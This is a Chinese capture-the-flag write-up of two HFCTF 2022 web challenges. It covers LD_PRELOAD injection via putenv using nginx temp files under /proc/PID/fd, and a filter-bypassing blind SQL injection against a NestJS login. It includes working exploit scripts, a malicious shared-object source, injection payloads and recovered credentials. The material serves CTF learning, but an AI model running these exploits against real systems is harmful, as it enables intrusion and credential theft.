[HFCTF 2022]两道web题目wp

发布时间:2023-01-31 18:30

ezphp

 (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

看到这段代码不难联想到P神的博客 我是如何利用环境变量注入执行任意命令

题目给了一个docker用于本地搭建环境,可以发现题目用的系统环境为debian。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。

由于p神在文章中探究的解决方法是基于centos的,该题目环境下无法使用,我们需要审计dash源码来寻找解决方案。那么有没有其他思路呢?

我们知道在有上传点的情况下,可以通过上传一个恶意so文件再通过LD_PRELOAD=/var/www/html/uploads/shell.so的方式劫持并执行任意代码,显然题目并没有直接的上传点,那我们是否可以通过putenv去包含一个临时文件执行命令呢?

显然是可以的,在陆队的博客 hxp CTF 2021 - A New Novel LFI中提到了 /var/lib/nginx/body 临时文件的利用,由于PHP通常通过PHP-FPM和Nginx部署,nginx提供了一个容易被忽视的机制client body buffering。在官方文档 client_body_buffer_size中:

[HFCTF 2022]两道web题目wp_第1张图片

当nginx接受的请求的body大于buffer的时候,会先将body存缓存文件中,防止内存不够。如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的形式运行),则该机制可以通过临时文件来LFI。

查看一下nginx源码 ngx_open_tempfile 函数:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

可以看到临时文件一经创建就会被删除,我们该如何进行包含呢?

On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier.

如果一个进程打开了某个文件同时在没有被关闭的情况下就被删除了,那么这个文件就会出现在 /proc/PID/fd/目录下。也就是说nginx在代码上生成后是直接删除的,但是buffer还在慢慢追加文件,等文件完整了才会彻底消失,因此产生了fd文件,让我们可以在这段时间内进行利用。

exp:

import  threading, requests
import sys
URL2 = sys.argv[1]
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False


def uploader():
    print('[+] starting uploader')
    with open("exp.so","rb") as f:
        data = f.read()
    while not done:
        requests.get(URL2, data=data)
for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
def bruter(pid):
    global done
    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            try:
                requests.get(URL2, params={
                    'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
                })
            except:
                pass


for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

恶意so文件

#include 
#include 
#include 
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"\" > /var/www/html/shell.php");
} 

之后编译一下

gcc -shared -fPIC exp.c -o exp.so

Babysql

[HFCTF 2022]两道web题目wp_第2张图片

提示hint.md

CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

给出了过滤函数和SQL查询逻辑,这里过滤了union无法使用联合查询,我们使用时间盲注,利用case when构造查询语句

  1. 利用了mysql的短路特性 ~0+1 会报错溢出
  2. mysql8特性利用regexp区分大小写

[HFCTF 2022]两道web题目wp_第3张图片

由于 binary 被过滤了,这里利用字符集进行处理,SQL 语句设置的字符集会优先于表的字符集,所以这里可以是设置 COLLATE utf8mb4_0900_bin 用于字符大小写判断

exp:

import requests
payload="1'||case'1'when`username`like'{}%'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
#payload="1'||case'1'when`password`regexp'^{}'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
list = string.ascii_letters + string.digits + '^$!_%@&'
url = 'http://1.117.171.248:3000/login'
j=''
while 1: 
    for i in list: 
        now_payload=payload.format(j+i)
        date={
        'password': 'qaq',
        'username': now_payload 
        }
        re = requests.post(url,data=date).text
        if '401' in re: 
            j+=i
            #print(nplayload)
            print(j)
            break 

#username:QaY8TeFYzC67aeoO
#password:m52FPlDxYyLB^eIzAr!8gxh$

[HFCTF 2022]两道web题目wp_第4张图片

参考:

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html

https://tttang.com/archive/1384/

https://harvey.plus/2022/03/20/2022HFCTF/

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号